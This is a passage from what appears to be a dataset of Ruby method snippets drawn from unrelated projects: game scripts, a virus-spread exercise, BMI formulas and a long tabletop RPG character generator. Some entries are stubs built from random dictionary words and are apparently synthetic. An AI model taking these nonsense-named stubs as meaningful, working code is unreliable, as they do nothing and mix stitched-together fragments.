#{member_voted_out.name.capitalize} it is time to go!\\\".green\\n\\t\\tputs\\n\\tend\\nend\",\n \"def emotional_adjective; end\",\n \"def afue_to_thermal_eff(afue)\\n \\n return afue # Per PNNL doc, Boiler Addendum 90.1-04an\\n \\nend\",\n \"def commands\\n hand_code = []\\n #split = number.split(//)\\n \\n # split_num.each do |char|\\n \\n if number[-1] == \\\"1\\\"\\n hand_code << \\\"wink\\\"\\n end\\n \\n if number[-2] == \\\"1\\\"\\n hand_code << \\\"double blink\\\"\\n end\\n\\n if number[-3] == \\\"1\\\"\\n hand_code << \\\"close your eyes\\\"\\n end\\n\\n if number[-4] == \\\"1\\\"\\n hand_code << \\\"jump\\\"\\n end\\n\\n if number[-5]==\\\"1\\\"\\n hand_code.reverse!\\n end\\n p hand_code\\n end\",\n \"def commands\\n hand_code = []\\n #split = number.split(//)\\n \\n # split_num.each do |char|\\n \\n if number[-1] == \\\"1\\\"\\n hand_code << \\\"wink\\\"\\n end\\n \\n if number[-2] == \\\"1\\\"\\n hand_code << \\\"double blink\\\"\\n end\\n\\n if number[-3] == \\\"1\\\"\\n hand_code << \\\"close your eyes\\\"\\n end\\n\\n if number[-4] == \\\"1\\\"\\n hand_code << \\\"jump\\\"\\n end\\n\\n if number[-5]==\\\"1\\\"\\n hand_code.reverse!\\n end\\n p hand_code\\n end\",\n \"def chondromyxoma(buckshee, uncongenially_chiquitan)\\n end\",\n \"def phase_one\\n\\t#Intro\\n\\n\\t\\t@borneo.tribes.each do |tribe|\\n\\t\\tputs \\\"Welcome #{tribe}\\\".green\\n\\t\\tend\\n\\nprint_header(\\\"For Phase 1, you will now compete in 8 challenges for immunity. Good luck!\\\")\\n\\n\\t8.times do\\n\\t\\timmunity_challenge_losing_tribe = @borneo.immunity_challenge\\n\\t\\tputs \\\"#{immunity_challenge_losing_tribe}\\\".green + \\\" has lost the immunity challenge and must now vote out 1 member.\\\"\\n\\t\\tmember_voted_off = immunity_challenge_losing_tribe.tribal_council\\n\\tend\\t\\nend\",\n \"def forkless(interspinous_interdevour, cladodontid_michel)\\n end\",\n \"def electromechanical; end\",\n \"def ec2(amp = 0.2, tonics = [:e2], num = 4, synth = :fm)\\n num.times do\\n synth synth, note: chord(tonics.choose, [:m11, :m9, :major, :major7].choose),\\n attack: [1, 0.75, 1.25, 1.5, 2].choose, cutoff: 80,\\n amp: amp, pan: rrand(-0.2,0.2)\\n sleep 1\\n end\\nend\",\n \"def jeuTermine\\n\\t\\tlancementAventure(@tailleGrille+1)\\n\\tend\",\n \"def phase_three\\n puts \\\"Phase 3 has been started\\\"\\n\\n 7.times do\\n immune = @borneo.individual_immunity_challenge\\n puts \\\"#{immune} wins the immunity\\\".blue\\n\\t\\tvoted_off_contestant = @merge_tribe.tribal_council(immune: immune)\\n\\t\\t@jury.add_member voted_off_contestant\\n\\t\\tputs \\\"#{voted_off_contestant}! is OUT!\\\".red\\n end\\nend\",\n \"def tongue_twister; end\",\n \"def extracosmic_expansive_onstand(lymphatolysis_fissure, french, whauve_diapophysial)\\n unsuckled_catsup(apterygota, unfightable_phoneticist)\\n end\",\n \"def phase_one\\n puts \\\"Get ready to start Part 1.\\\".light_grey\\n puts \\\"Each Tribe will participate in an immunity challenge.\\\".light_grey\\n puts \\\"The losing Tribe will then vote someone off the island.\\\".light_grey\\n 8.times do \\n\\t#Sets variable for tribe loser of immunity challege\\n\\tlosing_tribe = @borneo.immunity_challenge \\n\\tputs \\\"#{losing_tribe} \\\".red + \\\"has lost the challenge and will vote someone off the island.\\\"\\n\\t#Losing tribe holds tribal council and votes off member\\n\\tmember_voted_off = losing_tribe.tribal_council\\n\\tputs \\\"Sadly, \\\" + \\\"#{member_voted_off} \\\".green + \\\"has been voted off the island.\\\"\\n end\\nend\",\n \"def processa_tudo\\n processa_us\\n processa_de\\n processa_frmt\\n processa_eth\\n processa_eos\\n processa_bc\\n end\",\n \"def grasa\\n\\t\\t1.2*imc+0.23*@edad-10.8*@sexo-5.4\\n\\tend\",\n \"def work_out\\n self.hygiene -= 3\\n self.happiness += 2\\n return \\\"♪ another one bites the dust ♫\\\"\\nend\",\n \"def mill_motor_housing\\r\\n # # # # # # # # #\\r\\n end\",\n \"def potion; end\",\n \"def terpene; end\",\n \"def motto; end\",\n \"def imc \\n\\t\\t@peso/(@talla*@talla)\\n\\tend\",\n \"def pectoralis_stretch\\n \\\"Clasp hands behind your back. Push the chest outward, and raise the chin. Hold the pose for 10 to 30 seconds.\\\"\\nend\",\n \"def phase_two\\n puts \\\"Phase 2 has been started\\\"\\n\\n 3.times do\\n immune = @borneo.individual_immunity_challenge\\n puts \\\"#{immune} win the immunity\\\".blue\\n voted_off_contestant = @merge_tribe.tribal_council({immune: immune})\\n puts \\\"#{voted_off_contestant} is OUT!\\\".red\\n end\\nend\",\n \"def suivre; end\",\n \"def virus_effects\\n predicted_deaths\\n speed_of_spread\\n print\\n end\",\n \"def virus_effects\\n predicted_deaths\\n speed_of_spread\\n print\\n end\",\n \"def virus_effects\\n print \\\"#{@state} will lose #{predicted_deaths} people in this outbreak \\n and the outbreak will spread across the state in #{speed_of_spread} months. \\\\n\\\\n\\\"\\n end\",\n \"def psh_bonuses(roll)\\n case roll\\n when 1..5\\n @@skills << \\\"Brawling\\\"\\n puts \\\"Brawling skill\\\"\\n when 6..10\\n @@skills << \\\"Stealth\\\"\\n puts \\\"Stealth skill\\\"\\n when 11..15\\n @@skills << \\\"Weapons Expert\\\"\\n puts \\\"Wpn expert!\\\"\\n when 16..20\\n @@skills << \\\"Dodge\\\"\\n puts \\\"Dodge skill\\\"\\n when 21..37\\n @@endurance += 1\\n @@strength += 1\\n @@agility += 1\\n @@accuracy += 1\\n @@willpower += 1\\n @@intelligence += 1\\n @@perception += 1\\n @@appearance += 1\\n puts \\\"+1 to each attribute\\\"\\n when 38..44\\n @@endurance += (d(6) + d(6))\\n puts \\\"+2d6 endurance\\\"\\n when 45..51\\n @@strength += (d(6) + d(6))\\n puts \\\"+2d6 strength\\\"\\n when 52..58\\n @@agility += (d(6) + d(6))\\n puts \\\"+2d6 agility\\\"\\n when 59..65\\n @@accuracy += (d(6) + d(6))\\n puts \\\"+2d6 accuracy\\\"\\n when 66..74\\n @@intelligence += (d(6) + d(6) + d(6))\\n puts \\\"+3d6 intelligence\\\"\\n when 75..83\\n @@willpower += (d(6) + d(6))\\n puts \\\"+2d6 willpower\\\"\\n when 84..90\\n @@appearance += (d(6) + d(6) + d(6))\\n puts \\\"+3d6 appearance\\\"\\n when 91..97\\n @@skills << \\\"Martial Arts\\\"\\n puts \\\"Martial arts skill!\\\"\\n when 98..99\\n @@endurance += 2\\n @@strength += 2\\n @@agility += 2\\n @@accuracy += 2\\n @@willpower += 2\\n @@intelligence += 2\\n @@perception += 2\\n @@appearance += 2\\n puts \\\"+2 to each attribute\\\"\\n when 100\\n @@endurance += d(6)\\n @@strength += d(6)\\n @@agility += d(6)\\n @@accuracy += d(6)\\n @@willpower += d(6)\\n @@intelligence += d(6)\\n @@perception += d(6)\\n @@appearance += d(6)\\n puts \\\"JACKPOT -- +d6 to EACH Attribute!\\\"\\n end\\n\\n end\",\n \"def nonstriker_perimartium(pronunciation_crotched)\\n end\",\n \"def secret_formula(started)\\r\\n\\tjelly_beans = started * 500\\r\\n\\tjars = jelly_beans / 1000\\r\\n\\tcrates = jars / 100\\r\\n\\treturn jelly_beans, jars, crates\\r\\nend\",\n \"def act_smart\\n return \\\"E = mc^2\\\"\\n end\",\n \"def take_bath\\n #increment hygiene_points by 4\\n #return string \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"..\\n self.hygiene +=4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n end\",\n \"def romeo_and_juliet_quote; end\",\n \"def secret_formula(started)\\n jelly_beans = started * 500\\n jars = jelly_beans / 1000\\n crates = jars / 100\\n return jelly_beans, jars , crates\\nend\",\n \"def future_passive_participle\\n mybase = participial_stem+\\\"nd\\\"\\n singular_endings=%w(us a um)\\n return singular_endings.collect{|x|Linguistics::Latin::Phonographia.fix_macrons( mybase+\\\"#{x}\\\".chomp)}.join(', ')\\n end\",\n \"def virus_effects\\r\\n predicted_deaths\\r\\n speed_of_spread\\r\\n print \\\"#{@state} will lose #{predicted_deaths} people in this outbreak and will spread across the state in #{speed_of_spread} months.\\\\n\\\\n\\\"\\r\\n end\",\n \"def throw_fierce_lqqks\\n 'Here I am, giving you Soviet-Satellite realness'\\n end\",\n \"def basellaceae(unconsented_neomodal, goclenian_cytozoon, musseled)\\n indefensibly_tencteri(scourwort)\\n bambini_wolfishly(trolleyful_unimproving)\\n unbenumbed(inappropriable_platycephalous, epitasis_ergatandromorph)\\n end\",\n \"def jack_handey; end\",\n \"def difficultly(qoph_ridding, fadedness_santalaceae)\\n biopsychologist_hamidian_tachardiinae()\\n inigo()\\n huddock_konde(phrenitic, mistake, condurango_cymoscope)\\n end\",\n \"def silly_adjective; end\",\n \"def caste_based_details(caste)\\n case caste\\n when \\\"Slave, Labor\\\"\\n\\n @@endurance += d(10)\\n @@strength += d(10)\\n @@intelligence = [@@intelligence - d(10), 1].max\\n @@perception = [@@perception - d(6), 1].max\\n @@outfittingcode = \\\"Escaped Prisoner\\\"\\n puts \\\"+d10 to Endurance and Strength; -d10 to Intelligence, -d6 to Perception.\\\"\\n bounty_chance(32,(20 + (d(6) + d(6) + d(6))))\\n\\n\\n when \\\"Slave, Kitchen\\\"\\n\\n @@endurance = [@@endurance - d(6), 1].max\\n @@strength = [@@strength - d(6), 1].max\\n @@intelligence += d(6)\\n @@willpower = [@@willpower - d(12), 1].max\\n @@outfittingcode = \\\"Escaped Prisoner\\\"\\n bounty_chance(27,(20 + (d(6) + d(6) + d(6))))\\n\\n when \\\"Slave, Servant\\\"\\n\\n @@endurance = [@@endurance - d(6), 1].max\\n @@strength = [@@strength - d(6), 1].max\\n @@intelligence += d(6)\\n @@perception += d(6)\\n @@willpower = [@@willpower - d(6), 1].max\\n @@outfittingcode = \\\"Escaped Prisoner\\\"\\n @@misc_skill_rolls += 1\\n bounty_chance(76,(100 + (d(6) + d(6) + d(6))))\\n @@literacy = \\\"Literate\\\"\\n\\n when \\\"Slave, Whore\\\"\\n\\n @@endurance = [@@endurance - d(6), 1].max\\n @@strength = [@@strength - d(6), 1].max\\n @@intelligence = [@@intelligence - d(6), 1].max\\n @@willpower = [@@willpower - d(6), 1].max\\n @@appearance += d(6)\\n @@outfittingcode = \\\"Escaped Prisoner\\\"\\n @@skills << \\\"Erotic Arts\\\"\\n bounty_chance(82,(100 + (d(4) * 25)))\\n\\n when \\\"Slave, Court\\\"\\n\\n @@endurance = [@@endurance - d(6), 1].max\\n @@strength = [@@strength - d(6), 1].max\\n @@intelligence = [@@intelligence - d(6), 1].max\\n @@perception += d(6)\\n @@willpower = [@@willpower - d(6), 1].max\\n @@appearance += d(6)\\n @@outfittingcode = \\\"Escaped Prisoner\\\"\\n @@misc_skill_rolls += d(3)\\n bounty_chance(87,(100 + (d(4) * 25)))\\n @@literacy = \\\"Literate\\\" # assumption\\n @@number_of_languages += d(4)\\n @@character_notes << \\\"Has a fairly accurate knowledge of the political and geographic layout of the region.\\\"\\n\\n\\n when \\\"Slave, Gladiator\\\"\\n\\n @@endurance += (d(10) + d(10))\\n @@strength += (d(10) + d(10))\\n @@agility += d(8)\\n @@accuracy += d(8)\\n @@intelligence = [@@intelligence - d(10), 1].max\\n @@perception += d(8)\\n @@willpower = [@@willpower - d(4), 1].max\\n @@appearance = [@@appearance - (d(8) + d(8)), 1].max\\n @@outfittingcode = \\\"Escaped Prisoner\\\"\\n d(3).times do\\n @@skills << \\\"Brawling\\\"\\n end\\n @@warrior_skill_rolls += (4+(rand(1..4)))\\n bounty_chance(94,(200 + (d(100) + d(100))))\\n literacy_chance(2,0)\\n\\n\\n when \\\"Fisher\\\"\\n\\n @@endurance += d(6)\\n @@strength += d(6)\\n @@perception += d(8)\\n @@outfittingcode = \\\"Poor\\\"\\n d(3).times do\\n @@skills << \\\"Spear Weapons\\\"\\n end\\n @@misc_skill_rolls += 1\\n @@equipment << \\\"collapsible wooden fishing rod with reel\\\";\\\"30m of fshing line\\\";\\\"fishing hooks and lures\\\";\\n \\\"small fshing net\\\";\\\"fishing spear/harpoon\\\"\\n literacy_chance(6,0)\\n\\n when \\\"Hunter\\\"\\n\\n @@endurance += d(8)\\n @@strength += d(8)\\n @@agility += d(6)\\n @@accuracy += d(6)\\n @@perception += d(8)\\n @@outfittingcode = \\\"Poor\\\"\\n d(3).times do\\n @@skills << \\\"Weapons Expert: Bow\\\"\\n end\\n @@skills << \\\"Wilderness Survival\\\"\\n @@misc_skill_rolls += 1\\n @@character_notes << \\\"Accustomed to being outdoors, knows most animals by their tracks, and can start a fre with mere sticks, knows how to conceal the fre at night, make simple shelters, snares and deadfall traps.\\\"\\n\\n when \\\"Miner\\\"\\n\\n @@endurance += d(10)\\n @@strength += (d(10) + (rand(1..10)))\\n @@appearance = [@@appearance - d(6), 1].max\\n @@outfittingcode = \\\"Poor\\\"\\n d(3).times do\\n @@skills << \\\"Weapons Expert: Pickaxe\\\"\\n end\\n @@misc_skill_rolls += 1\\n @@equipment << \\\"shovel\\\"; \\\"pickaxe\\\"; \\\"#{d(20) + d(20) + d(20)} m rope\\\"; \\\"lantern and oil\\\"\\n literacy_chance(5,0)\\n\\n when \\\"Logger\\\"\\n\\n @@endurance += d(8)\\n @@strength += d(8)\\n @@agility += d(6)\\n @@perception += d(6)\\n @@appearance = [@@appearance - d(3), 1].max\\n @@outfittingcode = \\\"Poor\\\"\\n d(3).times do\\n @@skills << \\\"Weapons Expert: Axe\\\"\\n end\\n @@misc_skill_rolls += 1\\n @@equipment << \\\"hatchet\\\"; \\\"logger's double-headed axe (battle axe)\\\"\\n @@character_notes << \\\"+3 initiative in encounters with carnivorous mutant plants\\\"\\n literacy_chance(6,0)\\n\\n when \\\"Farmer\\\"\\n\\n @@endurance += d(6)\\n @@strength += d(6)\\n @@perception += d(6)\\n @@outfittingcode = 'Poor'\\n d(3).times do\\n @@skills << \\\"Weapons Expert: Pitchfork\\\"\\n end\\n @@misc_skill_rolls += 1\\n @@character_notes << \\\"Can throw pitchfork 2x typical range\\\"\\n literacy_chance(4,32)\\n\\n when \\\"Nomad\\\"\\n\\n @@agility += d(10)\\n @@perception += d(6)\\n @@outfittingcode = \\\"Poor\\\"\\n d(3).times do\\n @@skills << \\\"Rider\\\"\\n end\\n @@skills << \\\"Navigate by Stars\\\"\\n @@misc_skill_rolls += d(3)\\n literacy_chance(13,18)\\n\\n when \\\"Trader\\\"\\n def trader_background(roll)\\n case roll\\n when 1..34\\n \\\"self-employed traveling peddler\\\"\\n else\\n \\\"merchant's apprentice\\\"\\n end\\n end\\n def trader_debt(roll)\\n case roll\\n when 1..23\\n @@debts << \\\"Owes #{(d(1000) + d(1000) + d(1000))} to the merchant's guild of the largest regional free town.\\\"\\n end\\n end\\n @@intelligence += (d(10) + (d(10)))\\n @@perception += d(10)\\n @@outfittingcode = \\\"Well Equipped\\\"\\n @@skills << \\\"Barter\\\"\\n @@misc_skill_rolls += (1 + d(3))\\n @@character_notes << \\\"Was a #{trader_background(d(100))} before becoming an excavator.\\\"\\n @@number_of_languages += d(4)\\n @@literacy = \\\"Literate\\\"\\n @@do_math = \\\"Can do math\\\"\\n @@money += (d(100) + d(100))\\n trader_debt(d(100))\\n\\n when \\\"Craftsperson\\\"\\n def craft_specialty(roll) # Hub Rules p. 14\\n case roll\\n when 1\\n \\\"glass and plastic jeweler\\\"\\n when 2\\n \\\"potter\\\"\\n when 3\\n \\\"leatherworker\\\"\\n when 4\\n \\\"fletcher/arrow crafter\\\"\\n when 5\\n \\\"beer and wine brewer\\\"\\n when 6\\n \\\"paper maker\\\"\\n when 7..8\\n \\\"cook at an inn\\\"\\n when 9\\n \\\"visual art (maps, signs, insignia, wanted posters, etc.)\\\"\\n when 10\\n \\\"smithy assistant\\\"\\n when 11\\n \\\"weaver\\\"\\n when 12\\n \\\"butcher's assistant\\\"\\n when 13\\n \\\"glass blower\\\"\\n when 14\\n \\\"tattoo artist\\\"\\n when 15..19\\n \\\"carpenter's assistant\\\"\\n when 20\\n \\\"stone mason's assistant\\\"\\n end\\n end\\n if @@intelligence >= 35\\n @@literacy = \\\"Literate\\\"\\n end\\n @@character_notes << \\\"Before becoming an excavator, worked as a #{craft_specialty(d(20))}\\\"\\n\\n when \\\"Student\\\"\\n\\n @@endurance = [@@endurance - d(6), 1].max\\n @@strength = [@@strength - d(6), 1].max\\n @@intelligence += (d(10) + d(10) + d(10))\\n @@appearance += d(6)\\n @@outfittingcode = \\\"Modest\\\"\\n @@educated_skill_rolls += (d(6) + d(6) + 2)\\n @@misc_skill_rolls += d(2)\\n @@number_of_languages += d(4)\\n @@literacy = \\\"Literate\\\"\\n @@do_math = \\\"Can do math\\\"\\n\\n when \\\"Scribe\\\"\\n def scribe_past(roll)\\n case roll\\n when 1..66\\n \\\"local government\\\"\\n else\\n \\\"powerful merchant\\\"\\n end\\n end\\n bounty_chance(22,(250 + (d(100) + d(100))))\\n if @@bounty_offered == \\\"Yes\\\"\\n @@bounty_offered = \\\"Yes (death)\\\"\\n @@character_notes << \\\"Certain secrets crossed this scribe's desk, resulting in a hefty bounty...\\\"\\n end\\n @@endurance = [@@endurance - d(6), 1].max\\n @@strength = [@@strength - d(6), 1].max\\n @@perception += d(6)\\n @@outfittingcode = \\\"Modest\\\"\\n @@educated_skill_rolls += d(3)\\n @@misc_skill_rolls += 1\\n @@literacy = \\\"Literate\\\"\\n @@do_math = \\\"Advanced math\\\"\\n @@character_notes << \\\"Scribe worked for a #{scribe_past(d(100))} and has a clear knowledge of regional settlements and political climate.\\\"\\n @@number_of_languages += (d(3) + 1)\\n\\n when \\\"Technician\\\"\\n\\n @@agility += d(3)\\n @@accuracy += d(3)\\n @@intelligence += (d(8) + rand(1..8))\\n @@outfittingcode = \\\"Well Equipped\\\"\\n @@tech_skill_rolls += (d(6) + rand(1..6))\\n @@educated_skill_rolls += rand(1..2)\\n @@misc_skill_rolls += d(3)\\n bounty_chance(28,(200 + (d(100) + d(100))))\\n\\n when \\\"Street Urchin\\\"\\n def urchin_past(roll)\\n case roll\\n when 1..26\\n \\\"runaway\\\"\\n else\\n \\\"orphan\\\"\\n end\\n end\\n def urchin_outlaw(roll)\\n case roll\\n when 1..6\\n @@character_notes << \\\"Wanted by the law: if arrested in hometown, faces #{(d(6) + d(6))}-year prison sentence\\\"\\n end\\n end\\n def urchin_debt(roll)\\n case roll\\n when 1..12\\n @@debts << \\\"Owes #{(d(100) + d(100) + d(100))} to former gang in home town, who'll beat and rob the character if s/he returns.\\\"\\n end\\n end\\n @@character_notes << \\\"Character was a/an #{urchin_past(d(100))} before becoming an excavator.\\\"\\n @@endurance = [@@endurance - d(6), 1].max\\n @@strength = [@@strength - d(3), 1].max\\n @@agility += d(10)\\n @@accuracy += d(6)\\n @@appearance = [@@appearance - d(6), 1].max\\n @@outfittingcode = \\\"Impoverished\\\"\\n #skills: brawling d3; criminal d3+1; 1 misc roll\\n @@criminal_skill_rolls += d(3)\\n @@misc_skill_rolls += 1\\n d(3).times do\\n @@skills << \\\"Brawling\\\"\\n end\\n urchin_debt(d(100))\\n\\n when \\\"Street Thug\\\"\\n\\n @@endurance += (d(6) + d(6))\\n @@strength += (d(6) + + d(6))\\n @@intelligence = [@@intelligence - d(6), 1].max\\n @@appearance = [@@appearance - d(6), 1].max\\n @@outfittingcode = \\\"Poor\\\"\\n #skills: brawling d4; criminal 2; warrior 2; 1 roll on misc table\\n d(4).times do\\n @@skills << \\\"Brawling\\\"\\n end\\n @@criminal_skill_rolls += 2\\n @@warrior_skill_rolls += 2\\n @@misc_skill_rolls += 1\\n literacy_chance(14,19)\\n bounty_chance(15,\\\"Death\\\")\\n\\n when \\\"Raider\\\"\\n def has_horse(roll)\\n case roll\\n when 1..36\\n @@equipment << \\\"Saddle horse\\\"\\n end\\n end\\n @@endurance += d(10)\\n @@strength += d(10)\\n @@outfittingcode = \\\"Poor\\\"\\n #skills: rider d3; criminal 2; warrior 2; 1 roll on misc table\\n d(3).times do\\n @@skills << \\\"Riding\\\"\\n end\\n @@criminal_skill_rolls += 2\\n @@warrior_skill_rolls += 2\\n @@misc_skill_rolls += 1\\n has_horse(d(100))\\n literacy_chance(16,21)\\n @@character_notes << \\\"9% chance per encounter with any raiders character is recognized, and raiders will (d6: 1-3. try and sell him as a slave/ 4,5. forcibly enlist him and his companions / 6. kill him.)\\\"\\n\\n when \\\"Pirate\\\"\\n\\n @@endurance += d(10)\\n @@strength += d(10)\\n @@outfittingcode = \\\"Poor\\\"\\n #skills: navigate by stars 1; criminal 2; warrior 2; 1 roll on misc table\\n @@skills << \\\"Navigate by Stars\\\"\\n @@criminal_skill_rolls += 2\\n @@warrior_skill_rolls += 2\\n @@misc_skill_rolls += 1\\n literacy_chance(9,12)\\n @@character_notes << \\\"In any encounters with pirates, character is 46% likely to be recognized by a crew member. If so, she will be deemed a traitor to her caste and either stripped and sold as a slave, after a good flogging (01-79% chance), or (80-00%) drawn and quartered on the spot.\\\"\\n\\n when \\\"Thief\\\"\\n\\n @@endurance = [@@endurance - d(3), 1].max\\n @@strength = [@@strength - d(3), 1].max\\n @@agility += d(12)\\n @@accuracy += d(8)\\n @@outfittingcode = \\\"Impoverished\\\"\\n #skills: brawling 1; criminal d3+4; 1 roll on misc table\\n @@skills << \\\"Brawling\\\"\\n @@criminal_skill_rolls += (d(3) + 4)\\n @@misc_skill_rolls += 1\\n literacy_chance(17,24)\\n # @@equipment << \\\"lock pick set\\\", \\\"30m of rope\\\", \\\"a dark cloak\\\", \\\"soft boots for quiet walking\\\"\\n bounty_chance(57,(d(100) + d(100) + d(100) + d(100)))\\n if @@bounty_value > 0\\n @@character_notes << \\\"In hometown, 78% likely character is recognized and 2d6 raiders are sent to cripple and rob her, plus any associates she might travel with.\\\"\\n end\\n\\n when \\\"Assassin\\\"\\n\\n @@endurance += d(6)\\n @@strength += (d(6) + (rand(1..6)))\\n @@agility += d(10)\\n @@accuracy += d(10)\\n @@perception += d(10)\\n @@outfittingcode = \\\"Fully Armed\\\"\\n #skills: martial arts d4; knife throwing d3; criminal d3; warrior d6; 1 roll on misc table\\n d(4).times do\\n @@skills << \\\"Martial Arts\\\"\\n end\\n d(3).times do\\n @@skills << \\\"Knife Throwing\\\"\\n end\\n @@criminal_skill_rolls += d(3)\\n @@warrior_skill_rolls += d(6)\\n @@misc_skill_rolls += 1\\n\\n @@equipment << \\\"black cloak and ninja style outfit (in addition to regular streeth clothes)\\\"\\n def assassin_poison(roll)\\n case roll\\n when 1..7\\n @@equipment << \\\"100ml of type C death poison (10ml needed to coat a blade and potentially poison anybody who is punctured)\\\"\\n end\\n end\\n assassin_poison(d(10))\\n @@character_notes << \\\"In each encounter with bounty hunters, 41% chance character wanted dead.\\\"\\n @@character_notes << \\\"While entering any town while not in disguise, 13% chance per day that the assassin’s brotherhood have located him and will send d6+2 members after him that night.\\\"\\n\\n when \\\"Draftee\\\"\\n def draftee_history(roll)\\n case roll\\n when 1..87\\n \\\"Drafted for home town militia\\\"\\n else\\n \\\"Drafted while visiting a neighboring town\\\"\\n end\\n end\\n @@endurance += d(3)\\n @@strength += d(3)\\n @@outfittingcode = \\\"Modest\\\"\\n #skills: warrior 1; misc d2\\n @@warrior_skill_rolls += 1\\n @@misc_skill_rolls += d(2)\\n literacy_chance(28,33)\\n @@character_notes << \\\"73% chance upon returning to town where drafted, she'll be recognized and arrested. d6: 1-3. hang her from the nearest tree/ 4,5. sell her as a slave/ 6. put her in jail for 2d6 months before drafting her back into the army, but chain her at night.\\\"\\n\\n when \\\"Militia Soldier\\\"\\n\\n @@endurance += d(6)\\n @@strength += d(6)\\n @@outfittingcode = \\\"Modest\\\"\\n #skills: warrior d3; misc d2\\n @@warrior_skill_rolls += d(3)\\n @@misc_skill_rolls += d(2)\\n literacy_chance(32,39)\\n\\n when \\\"Watchman\\\"\\n\\n @@endurance += d(6)\\n @@strength += d(10)\\n @@perception += d(10)\\n @@outfittingcode = \\\"Well Equipped\\\"\\n #skills: brawling d3; warrior d3; misc d2\\n d(3).times do\\n @@skills << \\\"Brawling\\\"\\n end\\n @@warrior_skill_rolls += d(3)\\n @@misc_skill_rolls += d(2)\\n @@character_notes << \\\"not well liked in his home town, and if he returns, there is a 17% chance that a mob of 2d8 raiders will somehow try to corner him and his associates, and beat them soundly, if not kill them.\\\"\\n literacy_chance(22,31)\\n\\n when \\\"Infantryman\\\"\\n def infantry_history(roll)\\n case roll\\n when 1..68\\n @@character_notes << \\\"Deserter. 47% chance per encounter with city's/nation's army, character recognized and jailed 2d6 years.\\\"\\n @@enemies << \\\"City/nation army character previously served with.\\\"\\n when 69..89\\n @@character_notes << \\\"Retiree from the army. 47% chance per encounter with city's/nation's army, character recognized, saluted, and assisted.\\\"\\n when 90..100\\n @@character_notes << \\\"AWOL - was sole survivor of an operation and never returned to active duty. 47% chance per encounter with city's/nation's army, character recognized and reassigned to a new unit.\\\"\\n end\\n end\\n infantry_history(d(100))\\n @@endurance += d(12)\\n @@strength += d(12)\\n @@outfittingcode = \\\"Well Equipped\\\"\\n #skills: warrior d6; misc d2\\n @@warrior_skill_rolls += d(6)\\n @@misc_skill_rolls += d(2)\\n literacy_chance(15,22)\\n\\n when \\\"Cavalry\\\"\\n def cavalry_history(roll)\\n case roll\\n when 1..68\\n @@character_notes << \\\"Deserter. 47% chance per encounter with city's/nation's army, character recognized and jailed 2d6 years.\\\"\\n when 69..89\\n @@character_notes << \\\"Retiree. 47% chance per encounter with city's/nation's army, character recognized, saluted, and assisted.\\\"\\n when 90..100\\n @@character_notes << \\\"AWOL - was sole survivor of an operation and never returned to active duty. 47% chance per encounter with city's/nation's army, character recognized and reassigned to a new unit.\\\"\\n end\\n end\\n cavalry_history(d(100))\\n @@endurance += d(10)\\n @@strength += d(12)\\n @@agility += d(3)\\n @@outfittingcode = \\\"Well Equipped\\\"\\n #skills: riding d6; warrior d4; misc d2\\n d(6).times do\\n @@skills << \\\"Riding\\\"\\n end\\n @@warrior_skill_rolls += d(4)\\n @@misc_skill_rolls += d(2)\\n literacy_chance(15,22)\\n\\n when \\\"Mercenary\\\"\\n def mercenary_bonus_skills(roll1,roll2,roll3,roll4,roll5,roll6)\\n case roll1\\n when 1..36\\n d(3).times do\\n @@skills << \\\"Gambling\\\"\\n end\\n end\\n case roll2\\n when 1..14\\n @@skills << \\\"Negotiation\\\"\\n end\\n case roll3\\n when 1..32\\n d(3).times do\\n @@skills << \\\"Lying\\\"\\n end\\n end\\n case roll4\\n when 1..29\\n d(3).times do\\n @@skills << \\\"Riding\\\"\\n end\\n end\\n case roll5\\n when 1..32\\n @@criminal_skill_rolls += d(3)\\n end\\n case roll6\\n when 1..43\\n @@equipment << \\\"Riding horse\\\"\\n end\\n end\\n def mercenary_history(roll)\\n case roll\\n when 1..87\\n @@character_notes << \\\"Left mercenary employment on good terms.\\\"\\n when 88..100\\n @@character_notes << \\\"14% likely per every meeting with mercenaries in that region that he will run into his own squad, who will be angry that he left and rob and sell him into slavery, along with any companions.\\\"\\n end\\n end\\n mercenary_bonus_skills(d(100),d(100),d(100),d(100),d(100),d(100))\\n mercenary_history(d(100))\\n @@endurance += d(10)\\n @@strength += d(10)\\n @@agility += d(6)\\n @@accuracy += d(6)\\n @@outfittingcode = \\\"Well Equipped\\\"\\n #skills: brawling d3; warrior d6; misc d4\\n d(3).times do\\n @@skills << \\\"Brawling\\\"\\n end\\n @@warrior_skill_rolls += d(6)\\n @@misc_skill_rolls += d(4)\\n literacy_chance(18,27)\\n\\n when \\\"Elite Soldier\\\"\\n def elite_soldier_history(roll)\\n case roll\\n when 1..38\\n @@character_notes << \\\"Retired from military service.\\\"\\n else\\n case bounty_roll(roll)\\n when 1..73\\n @@bounty_offered = (200 + d(100) + d(100))\\n @@enemies << \\\"Squad of #{d(6) + d(6) + d(6)} from former military company hunting this character.\\\"\\n end\\n bounty_roll(d(100))\\n end\\n end\\n elite_soldier_history(d(100))\\n @@endurance += (d(8) + (rand(1..8)))\\n @@strength += (d(8) + (rand(1..8)))\\n @@agility += d(8)\\n @@accuracy += d(8)\\n @@willpower += d(8)\\n @@outfittingcode = \\\"Well Equipped\\\"\\n #skills: brawling d4; warrior d6+4; misc d4\\n d(4).times do\\n @@skills << \\\"Brawling\\\"\\n end\\n @@warrior_skill_rolls += (4 + d(6))\\n @@misc_skill_rolls += d(4)\\n literacy_chance(34,41)\\n\\n else puts \\\"Hmm... looks like caste-based attributes and skills assignment screwed up. Debug mofo!\\\"\\n\\n end\\n\\nend\",\n \"def hornlike(adet_mortification, hyperconscious)\\n shadowiness_priceable(disinterment, pericellular_homogenization)\\n counterbreastwork_knickerbockered()\\n subspecialty_universalian(whereon, ciliated_papaverous, eurhodine)\\n end\",\n \"def breathe\\n \\\"i get oxygen from the water\\\"\\n end\",\n \"def process_credit_statement\\n\\t\\tcredit_price_of_metal_coins = 0\\n\\t\\tgalactic_units = []\\n\\t\\tcoin_name = \\\"\\\"\\n\\t\\t@literals.each do |literal|\\n\\t\\t\\tif Translation::galactic_words_roman_symbol_assignments.keys.include?(literal) #returns is the literal passed is a valid galactic word e.g glob is valid, prok is valid\\n\\t\\t\\t\\tgalactic_units << literal \\n\\t\\t\\telsif [\\\"is\\\", \\\"Credits\\\"].include? literal # Ignore these words, we don't really care of these words in Credit Statement Lines\\n\\t\\t\\t\\tnext\\n\\t\\t\\telsif literal.to_i > 0 #This is the trade metal coins credit value .eg 2 Silver is '34' \\n\\t\\t\\t\\tcredit_price_of_metal_coins = 